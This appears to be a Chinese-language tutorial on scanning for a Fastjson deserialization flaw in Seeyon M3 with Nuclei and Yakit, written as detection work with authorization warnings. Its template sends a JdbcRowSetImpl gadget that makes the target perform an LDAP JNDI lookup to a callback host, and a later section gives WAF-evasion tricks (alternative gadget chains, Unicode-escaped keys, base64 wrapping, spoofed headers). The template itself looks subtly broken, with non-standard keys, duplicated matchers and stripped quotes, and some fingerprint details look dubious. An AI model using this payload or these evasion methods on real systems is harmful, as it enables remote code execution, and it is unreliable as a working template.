基于Nuclei与Yakit的致远M3 Fastjson反序列化漏洞自动化检测实践

发布时间:2026/7/1 10:04:35
基于Nuclei与Yakit的致远M3 Fastjson反序列化漏洞自动化检测实践 1. 项目概述为什么我们需要自动化检测这个漏洞最近在梳理一些历史项目的资产时发现不少老系统还在用致远M3的协同管理平台。这类系统往往承载着核心业务但版本老旧安全更新滞后是攻击者眼中的“香饽饽”。其中一个绕不开的高危风险点就是Fastjson反序列化漏洞。手动去测效率太低面对成百上千个资产点无异于大海捞针。写脚本每次都要重新调试通用性差。所以我一直在寻找一种既能保证检出率又能实现批量、自动化检测的方案。经过一段时间的实践和筛选我最终将方案锁定在Nuclei Yakit这套组合拳上。Nuclei作为一款强大的漏洞扫描引擎以其海量的、社区维护的POC模板库著称我们只需要关注如何写好针对特定漏洞的检测逻辑。而Yakit作为一个集成了Burp Suite、Nuclei、反连平台等众多安全工具能力的“安全运维一体化平台”它完美地解决了Nuclei在实战中的几个痛点比如复杂的代理配置、反连平台的搭建与管理、以及扫描结果的集中可视化分析。简单来说这个项目的目标就是利用Nuclei的模板能力编写一个精准的致远M3 Fastjson反序列化漏洞检测POC再通过Yakit进行任务编排、代理管理和结果聚合最终实现一键式、批量化、自动化的漏洞检测流程。无论你是安全工程师需要对大量资产进行周期性巡检还是红队队员在攻防演练中需要快速定位突破口这套方法都能显著提升你的工作效率。接下来我就手把手带你走通整个流程从原理理解到POC编写再到Yakit实战最后分享一些我踩过的坑和独家技巧。2. 核心原理与漏洞背景解析2.1 Fastjson反序列化漏洞为何屡禁不止要检测漏洞首先得理解它。Fastjson是阿里巴巴开源的一款高性能JSON处理库在Java开发者中应用极其广泛。它的“反序列化”功能简单说就是把一段JSON格式的字符串转换回一个Java对象。问题就出在这个“转换”过程中。Fastjson为了在反序列化时能成功创建对象需要知道目标对象的类名。它提供了一种“自动类型”AutoType机制允许在JSON字符串中通过type字段指定要反序列化的类。这本是为了方便但却成了安全噩梦。攻击者可以构造一个恶意的JSON字符串其中type指向一个存在于目标ClassPath中的、具有危险方法的类例如com.sun.rowset.JdbcRowSetImpl。当Fastjson尝试反序列化这个字符串时就会去实例化这个类并执行其setter方法或构造函数。如果这个危险类的某个方法如setDataSourceName能够触发JNDI查找而JNDI的地址又指向攻击者控制的恶意服务器那么最终就会导致远程代码执行RCE。这就是Fastjson反序列化漏洞的核心原理。致远M3的某些版本中因为引入了存在漏洞版本的Fastjson依赖且某些接口未对输入做严格过滤从而导致了该漏洞。2.2 致远M3的漏洞触发点在哪里致远M3是一个庞大的系统我们需要找到一个“入口”。通常这类漏洞出现在接收JSON格式数据的HTTP接口上。例如一些用于数据交换、配置更新、日志上传的API端点。通过历史漏洞情报和代码审计经验常见的风险接口路径可能包含/seeyon/*.do、/ajax.do、/m3/*等参数往往以json、data、content等名称通过POST body提交。我们的检测逻辑就是向这些可疑的接口发送一个精心构造的、包含恶意type的Payload然后观察服务器的响应。如果服务器返回了特定的错误信息如包含com.alibaba.fastjson.JSONException、java.lang.ClassNotFoundException等或者我们的反连平台收到了来自目标服务器的连接请求那么就可以高度怀疑该处存在Fastjson反序列化漏洞。2.3 为什么选择Nuclei和YakitNuclei的优势它的模板YAML格式非常灵活可以定义复杂的多阶段攻击链如先探测再利用。它支持多种匹配方式状态码、正则、关键词、反连平台等并且执行速度极快非常适合大规模扫描。社区有成千上万的模板我们可以借鉴其思路来编写自己的专属POC。Yakit的优势开箱即用的反连平台检测Fastjson这类需要外联验证的漏洞反连平台DNSLog, HTTPLog, RMI, LDAP是刚需。Yakit内置了反连服务器一键开启无需自己搭建公网服务器管理Token和查看日志都非常方便。强大的代理与流量管理Yakit本身就是一个MITM代理可以无缝接管Burp Suite的流量也能为Nuclei等外部工具设置上游代理。这样所有扫描流量都能经过Yakit方便我们进行记录、重放和调试。可视化的任务与结果管理Yakit提供了Web GUI来创建、管理和执行Nuclei扫描任务。你可以直观地看到扫描进度、实时结果并且对结果进行筛选、导出比命令行体验好太多。插件生态与集成除了NucleiYakit还集成了许多其他安全工具和自定义插件能力未来可以扩展出更复杂的自动化工作流。这套组合相当于给了你一把高度定制化的“狙击枪”Nuclei模板和一个功能全面的“战术指挥平台”Yakit。3. 环境准备与工具配置3.1 Yakit的安装与基础配置首先访问Yakit官网下载最新版本。安装过程很简单一路下一步即可。安装完成后启动Yakit。启动反连服务器这是最关键的一步。在Yakit主界面找到“反连”或“Port Server”模块。点击“启动”按钮Yakit会自动在本地开启反连服务并生成一个专属的域名如xxxxx.ceye.io和Token。请务必记下这个域名我们后续构造Payload时会用到它。Yakit的反连服务集成了DNSLog和HTTPLog能很好地用于漏洞验证。配置MITM代理在“MITM”模块中启动劫持功能。你可以设置监听端口默认8080。确保你的浏览器或扫描工具将代理设置为127.0.0.1:8080这样流量才能流经Yakit进行观察。对于本项目的Nuclei扫描我们主要用这个功能来观察和调试POC发出的请求是否准确。Nuclei引擎管理Yakit内置了Nuclei但可能不是最新版。建议在“插件”或“安全工具”模块中检查Nuclei版本并更新到最新稳定版。Yakit会自动管理Nuclei的模板库。3.2 Nuclei POC模板编写思路解析在Yakit中编写Nuclei模板不需要离开GUI。我们进入“漏洞扫描”或“Nuclei”相关模块找到模板编辑器。下面我们来拆解一个针对致远M3 Fastjson漏洞的检测模板该如何编写。一个完整的Nuclei模板主要包含以下几个部分id: 漏洞的唯一标识如seeyon-m3-fastjson-rce。info: 包含名称、作者、严重等级、描述等信息。requests: 这是核心定义发送的HTTP请求。matchers: 定义如何判断请求是否成功漏洞是否存在。我们的检测逻辑设计为“两步走”第一步指纹识别。先发送一个无害的请求判断目标是否是致远M3系统。可以通过匹配特定的标题、Cookie、Body内容或者图标路径来实现。第二步漏洞探测。确认目标后再发送包含Fastjson反连Payload的恶意请求。通过检查反连平台是否收到记录来判断漏洞是否存在。这种方式误报率极低。注意直接使用RCE Payload进行大规模扫描是危险且不道德的。在未获得授权的情况下仅使用无害的DNS/HTTP反连Payload进行漏洞存在性证明是更合规的做法。3.3 编写致远M3 Fastjson检测POC模板以下是模板的YAML代码我会在关键位置添加注释说明。id: seeyon-m3-fastjson-check info: name: Seeyon M3 Fastjson Deserialization Vulnerability Check author: your_name severity: high description: | 检测致远协同管理平台M3版本中存在的Fastjson反序列化漏洞。 该漏洞可能导致远程代码执行RCE。 reference: - https://github.com/alibaba/fastjson/wiki/security_update_2020 tags: seeyon,fastjson,deserialization,rce # 第一步指纹识别 http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8 matchers-condition: and matchers: - type: word part: body # 在响应体中查找 words: - 致远协同管理软件 - /seeyon/common/ condition: or # 两个关键词出现一个即认为匹配 # 第二步漏洞探测 (使用反连平台) - raw: - | POST /seeyon/ajax.do HTTP/1.1 Host: {{Hostname}} Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Connection: close { content: { type: com.sun.rowset.JdbcRowSetImpl, dataSourceName: ldap://{{interactsh-url}}/Exploit, autoCommit: true } } # 核心这里我们不再匹配响应体而是等待反连平台回调 # matchers 部分留空或者只匹配一些基础状态码真正的判断交给‘interactsh’模块 matchers: - type: status status: - 200 - 500 # Fastjson解析出错常返回500 # 启用反连平台交互检测 interactsh: - id: dns-http-interaction description: Check for DNS/HTTP callback from target # 这里不需要额外配置Nuclei会自动替换{{interactsh-url}}并监听回调 # 最终匹配条件只有第一步指纹识别成功并且反连平台收到了回调才报告漏洞 matchers-condition: and matchers: - type: word part: interactsh_protocol # 匹配交互协议 words: - dns - http关键点解析{{Hostname}}和{{interactsh-url}}: 这是Nuclei的变量。Hostname会自动替换为目标URL的主机部分。interactsh-url是核心当你在Yakit中启动扫描任务时Yakit会自动将其替换为当前反连服务器的唯一子域名如a1b2c3.yakhost.com。Payload构造: 我们使用了JdbcRowSetImpl这个经典的利用链并指定dataSourceName为我们的反连服务器地址。当存在漏洞的Fastjson尝试反序列化这个对象时会触发JNDI查找向我们的ldap://...地址发起请求。interactsh模块: 这是Nuclei与反连平台联动的关键。定义此模块后Nuclei会为每个请求生成一个唯一的子域名并监听该域名的DNS和HTTP请求。一旦目标服务器因为反序列化而尝试连接这个地址Yakit的反连平台就会立即收到记录。matchers-condition: 我们设置为and意味着最终的漏洞报告需要满足a) 第一步指纹匹配成功b) 反连平台收到了来自目标的交互记录。这极大地减少了误报。将上述模板保存为一个.yaml文件例如seeyon-m3-fastjson.yaml。4. 在Yakit中执行自动化检测4.1 创建并运行Nuclei扫描任务有了POC模板我们就可以在Yakit中实战了。导入模板在Yakit的Nuclei扫描界面找到“模板管理”或“加载模板”的选项。将我们编写好的seeyon-m3-fastjson.yaml文件导入。Yakit会解析并显示模板的详细信息。配置扫描目标你可以输入单个URL如http://192.168.1.100:8080也可以上传一个包含多个目标URL的文本文件每行一个。强烈建议先对单个测试目标进行扫描验证POC的有效性。关联反连服务器在任务配置中确保“反连”或“Interactsh”选项是开启状态并且下拉菜单中选择了你当前正在运行的Yakit反连服务器。这是漏洞能否被成功检测到的关键。设置代理可选但推荐在“高级设置”中将HTTP代理设置为Yakit的MITM代理地址如http://127.0.0.1:8080。这样所有由Nuclei发出的请求都会经过Yakit你可以在“MITM”模块的“HTTP History”中实时查看每个请求和响应的详情便于调试。启动扫描点击“开始扫描”或“执行”按钮。Yakit会启动一个后台任务并显示实时进度和日志。4.2 结果分析与验证扫描开始后你需要重点关注两个地方“反连”模块的记录这是漏洞存在的直接证据。如果目标存在漏洞你很快会在这里看到一条新的记录类型可能是“DNS”或“HTTP”来源IP就是目标的IP地址。点开记录可以看到详细的请求数据。Nuclei扫描结果面板当满足模板中设定的所有匹配条件指纹匹配反连回调后Yakit会在这里生成一条高危漏洞告警标题就是你模板中定义的info.name。点击告警可以查看详情包括触发的请求、响应以及关联的反连记录。验证技巧当你看到反连记录但不确定是否是本次扫描触发时可以对比记录中的时间戳和扫描任务的时间。Yakit的反连域名是随任务或会话生成的具有唯一性因此只要收到记录基本可以确定是由本次扫描Payload触发的。4.3 批量扫描与任务管理对于资产列表你可以直接导入目标文件进行批量扫描。Yakit允许你同时运行多个扫描任务并在“任务管理”界面查看它们的状态、进度和资源占用情况。一个实用的技巧是“分而治之”如果目标数量巨大例如上万个不要一次性全部导入。可以根据端口如804438080或者网络段划分成多个小任务列表分批进行扫描。这样可以避免任务卡死也方便定位问题。Yakit支持任务的中断、继续和删除管理起来很灵活。5. 实战进阶POC的优化与调试5.1 如何应对WAF或防护设备在实际环境中目标系统可能部署了WAF简单的Payload可能会被拦截。这时就需要对Payload进行混淆或变形。修改请求路径和参数名/ajax.do和content参数只是常见案例。通过信息收集或目录扫描你可能会发现其他接收JSON数据的端点如/m3/api/data。修改模板中的raw请求部分进行尝试。Fastjson版本与利用链不同版本的Fastjson其可用的利用链Gadget Chain不同。上述模板使用的是较老的JdbcRowSetImpl链。对于更新一点的版本可能需要尝试其他链如com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionAdapter等。这需要你根据目标环境可能使用的组件依赖进行猜测和测试。Payload编码与分割可以对JSON中的关键字符进行Unicode编码或者将Payload分割到多个参数中。例如将type写成\u0040\u0074\u0079\u0070\u0065。在Nuclei模板中你可以使用{{base64(...)}}等函数进行编码。# 示例使用Base64编码的Payload需服务端有解码逻辑此处仅为思路演示 raw: - | POST /some-endpoint HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded data{{base64({type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://{{interactsh-url}}/Exp})}}调整请求头添加或移除一些请求头如X-Forwarded-For、Referer使其看起来更像正常业务流量。5.2 在Yakit中调试POC模板如果你的POC没有生效Yakit提供了强大的调试功能。使用“MITM历史”观察流量确保Nuclei的代理设置正确。在扫描时查看Yakit的“HTTP History”。你应该能看到Nuclei发出的指纹识别请求和漏洞探测请求。检查请求的URL、头部和Body是否与你模板中定义的一致。观察服务器的响应状态码和内容。使用“Web Fuzzer”进行手动测试将你在模板中定义的raw请求复制出来粘贴到Yakit的“Web Fuzzer”模块中。你可以手动替换{{interactsh-url}}为你的反连域名然后发送请求。同时打开反连平台页面观察是否有回调。这是一个快速验证Payload有效性的方法。分析服务器响应如果服务器返回了500错误并且Body中包含com.alibaba.fastjson.JSONException这通常是一个强烈的迹象表明Fastjson处理你的Payload时出错了但可能因为网络策略、JDK版本过高8u191等原因JNDI利用未能成功。这种情况下虽然RCE可能无法实现但漏洞是存在的。你可以调整模板的matchers将这种特定的错误信息也作为漏洞存在的证据之一但需注意这可能增加误报。5.3 编写更全面的指纹识别最初的模板只用了两个关键词来识别致远M3。为了提高准确性可以编写更复杂的指纹逻辑。多路径探测除了根路径可以尝试访问/seeyon/index.jsp、/seeyon/logo.png等静态资源匹配更独特的特征。组合匹配使用matchers-condition和多个matcher进行组合。例如要求同时匹配页面标题中的“致远”、特定Cookie如JEECMS以及某个特定的JavaScript文件路径。排除误报使用matchers中的negative: true参数来排除一些明显不是致远M3的站点例如那些包含“WordPress”、“Apache Tomcat”默认页的站点。6. 常见问题排查与安全实践建议6.1 扫描过程中遇到的典型问题问题现象可能原因排查步骤与解决方案反连平台无任何记录1. 目标不存在该漏洞。2. 目标网络出站受限无法访问外网。3. Payload中的利用链不适用于目标环境。4. Yakit反连服务未正确配置或网络不通。1. 在Yakit的MITM历史中确认请求是否成功发送且Payload正确。2. 尝试使用DNSLog和HTTPLog两种类型看是否有一种能收到。3. 手动在目标服务器上执行nslookup或curl命令测试网络连通性如果可能。4. 检查Yakit反连服务控制台确认服务是否正常运行。尝试在浏览器中访问生成的反连测试URL看Yakit是否能收到记录。收到反连记录但Nuclei未报告漏洞1. 指纹识别第一步未通过。2. 模板的matchers-condition逻辑有误。3. 反连记录与当前扫描任务不匹配可能是其他测试遗留的。1. 检查第一步的matchers是否过于严格。放宽匹配条件或增加更多识别特征。2. 检查模板YAML语法确保matchers-condition和interactsh模块配置正确。3. 在Yakit中为每次重要扫描创建一个新的“项目”或“会话”它会生成全新的反连域名避免干扰。扫描速度非常慢或卡住1. 目标数量太多或网络延迟高。2. Nuclei并发线程数设置过高被目标或中间设备限制。3. 单个目标超时时间设置太短。1. 分批扫描目标列表。2. 在Yakit的Nuclei高级设置中降低-c并发线程数如从50降到10增加-timeout超时时间如从5秒增到30秒。3. 使用-retries参数设置重试次数。Yakit MITM代理无法捕获Nuclei流量1. Nuclei任务配置中未设置代理。2. 代理地址或端口填写错误。3. 系统或浏览器的其他代理设置覆盖了Yakit。1. 确认在Yakit创建Nuclei任务时在“代理”栏填写了http://127.0.0.1:8080假设Yakit MITM监听8080。2. 在Yakit MITM设置中查看确切的监听端口。3. 暂时关闭系统或浏览器中的其他代理插件。6.2 安全合规与最佳实践重中之重法律与授权。未经授权对任何系统进行安全测试都是非法的。本文所有技术、工具和POC模板仅限用于您拥有完全所有权和控制权的资产如公司内网测试环境、您个人的虚拟机或已获得明确书面授权的渗透测试/安全评估项目中。请务必遵守《网络安全法》等相关法律法规。其他实践建议隔离测试环境永远在隔离的虚拟机或内网环境中测试和调试你的POC模板确保不会意外影响到生产系统。控制扫描力度即使是授权测试也应避免使用会造成拒绝服务DoS效果的并发扫描策略。设置合理的线程数和延迟。结果保密扫描结果可能包含敏感信息。妥善保管报告和日志仅与必要的人员分享。持续更新Fastjson的漏洞利用方式、致远M3的接口路径可能会随着版本更新而变化。定期关注安全社区更新你的指纹库和Payload库。Nuclei官方和社区模板库nuclei-templates是很好的学习来源。防御视角通过这个项目你也能从攻击者的视角理解漏洞利用链。这对于建设防御体系非常有价值及时升级Fastjson到安全版本1.2.83使用安全模式SAFE_MODE对不受信的JSON输入进行严格过滤或使用白名单。这套基于Nuclei和Yakit的自动化漏洞检测方法其精髓在于将“漏洞检测逻辑”模板化、武器化并通过平台进行高效调度和结果聚合。掌握它你不仅能应对致远M3 Fastjson这一个漏洞更能将这套方法论复制到其他成千上万的漏洞检测场景中真正提升安全运维和攻防演练的效率和深度。